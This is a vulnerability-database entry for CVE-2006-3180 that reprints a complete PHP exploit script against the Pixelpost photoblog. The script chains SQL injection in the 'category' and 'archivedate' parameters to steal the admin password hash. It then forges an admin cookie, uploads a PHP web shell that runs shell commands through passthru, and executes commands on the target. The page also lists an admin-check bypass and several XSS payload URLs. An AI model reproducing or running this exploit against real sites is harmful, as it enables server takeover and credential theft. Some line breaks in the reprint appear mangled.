Pixelpost <= 1-5rc1-2 multiple vulnerabilities
CVE
Category
Price
Severity
CVE-2006-3180
CWE-79
$300
High
Author
Risk
Exploitation Type
Date
Null Threat
High
Remote
2006-06-15
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006060067 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pixelpost <= 1-5rc1-2 privilege escalation exploitrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrn";
echo "dork: pixelpost "RSS 2.0" "ATOM feed" "Valid xHTML / Valid CSS"rnrn";
/*
works with:
magic_quotes_gpc=Off
*/
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path your_ip cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to pixelpostrn";
echo "your ip: your actual ip adress, we need it to build an admin cookiern";
echo " this is automatically set to your proxy ip if you use onern";
echo "cmd: a shell commandrn";
echo "Options:rn";
echo " -T[prefix] specify a table prefix different from "pixelpost_"rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." a.b.c.d /pixelpost/ w.x.y.z cat ./../includes/pixelpost.phprn";
echo "php ".$argv[0]." a.b.c.d / w.x.y.z ls -la -p81rn";
echo "php ".$argv[0]." a.b.c.d / none ls -la -P1.1.1.1:80rn";
die;
}
/* software site: http://www.pixelpost.org/
description: "A small photoblog application that's a no-brainer to set up and
use - this is truly for anyone wishing regularly to post their photos on the
web like a blog."
-----
i) sql injection in index.php near lines 670-680:
...
if($_GET['category'] != "")
{
// Modified from Mark Lewin's hack for multiple categories
$query = mysql_query("SELECT 1,t2.id,headline,image,datetime
FROM {$pixelpost_db_prefix}catassoc as t1
INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id
WHERE t1.cat_id = '".$_GET['category']."'
AND (datetime<='$cdate')
ORDER BY datetime DESC");
$lookingfor = 1;
}
...
nice code, isn't it?
with magic_quotes_gpc = Off:
http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/*
http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',password,'4','5' FROM pixelpost_config WHERE id=1/*
now, at screen, you have admin username & MD5 password hash and you can build
an admin cookie:
Cookie: pp_user=[username]; pp_password=[sha1([md5hash].[your_ip_address])];
Admin can upload .php files in images/ folder, files are renamed but you can
see new filename in main index page, so... you launch commands:
http://[target]/[path]/images/20060603005716_suntzu.php?cmd=cat%20./../i
ncludes/pixelpost.php
ii) same kind of sql injection in 'archivedate' argument at lines 681-687:
...
ELSE IF ($_GET['archivedate'] != "")
{
$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
$query = mysql_query("SELECT 1,id,headline,image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY datetime desc");
$lookingfor = 1;
}
...
poc:
http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELEC
T%20'1','2',password,'4','5'%20FROM%20pixelpost_config/*
iii)
in admin/ folder at the begin of every script, except for index.php, we have:
<?php
if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] != $_SESSION["pixelpost_admin"]) {
die ("Try another day!!");
}
...
if register_globals= On, you can easily bybass this protection, poc:
http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1
this can be used to see some interesting configuration info about target server:
http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info
or to launch XSS attacks:
http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.c
ookie)</script>
http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.c
ookie)</script>
http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&c
fgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.co
okie)</script>
iv) another xss, without to be logged in:
http://[target]/[path]/admin/index.php?loginmessage="><script>window.ope
n("http://retrogod.altervista.org")</script>
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$cmd="";$port=80;$proxy="";$table_prefix="pixelpost_";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-T"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$table_prefix=str_replace("-T","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else
{
$p='http://'.$host.':'.$port.$path;
$temp=explode(":",$proxy);
$your_ip=$temp[0];
}
echo "Trying sql injection in 'category' argument...rn";
$sql="'/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**
/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("alt="",$html);
$temp2=explode(""",$temp[1]);
$hash=trim($temp2[0]);
if (is_hash($hash)){
echo "admin md5 password hash -> ".$hash."rn";
$sql="'/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_
prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("alt="",$html);
$temp2=explode(""",$temp[1]);
$admin=trim($temp2[0]);
echo " " username -> ".$admin."rn";
}
else { echo "Trying with 'archivedate' argument...rn";
$sql="')/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**
/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("alt="",$html);
$temp2=explode(""",$temp[1]);
$hash=trim($temp2[0]);
if (is_hash($hash)){
echo "admin md5 password hash -> ".$hash."rn";
}
else {die ("Exploit failed...magic_quotes_gpc on here or code patched");}
$sql="')/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table
_prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("alt="",$html);
$temp2=explode(""",$temp[1]);
$admin=trim($temp2[0]);
echo " " username -> ".$admin."rn";
}
$cookie="pp_user=".$admin."; pp_password=".sha1($hash.$your_ip).";";
$packet="GET ".$p."admin/index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<=count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "admin cookie ->".$cookie."rn";
$shell=
'<?php
if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"])
;}
ini_set("max_execution_time",0);
error_reporting(0);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
passthru($_REQUEST["cmd"]);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
?>';
srand(make_seed());
$anumber = rand(1,99999);
$my_file="suntzu".$anumber.".php";
$data='
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="headline"
Under Costruction... - Admin.
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="category[]"
1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="body"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="autodate"
3
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_year"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_month"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_day"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_hour"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_minute"
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="userfile"; filename="'.$my_file.'"
Content-Type: image/jpeg
'.$shell.'
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="submit"
Upload
-----------------------------7d6318101b00a2--
';
$packet="POST ".$p."admin/index.php?x=save HTTP/1.0rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
$packet="GET ".$p."index.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
$temp=explode("img src="",$html);
$temp2=explode(" ",$temp[1]);
for ($i=1; $i<=count($temp); $i++)
{
$temp2=explode(""",$temp[$i]);
if (eregi($my_file,$temp2[0]))
{
$my_path=$temp2[0];
echo "shell -> ".$my_path."rn";
break;
}
}
$packet="GET ".$p.$my_path." HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
sendpacketii($packet);
if (strstr($html,"*deli*"))
{
$temp=explode("*deli*",$html);
die("Exploit succeeded...rn".$temp[1]);
}
else
{
echo "Failed to launch commands...";
}
?>
original url: http://retrogod.altervista.org/pixelpost_15rc12_xpl.html
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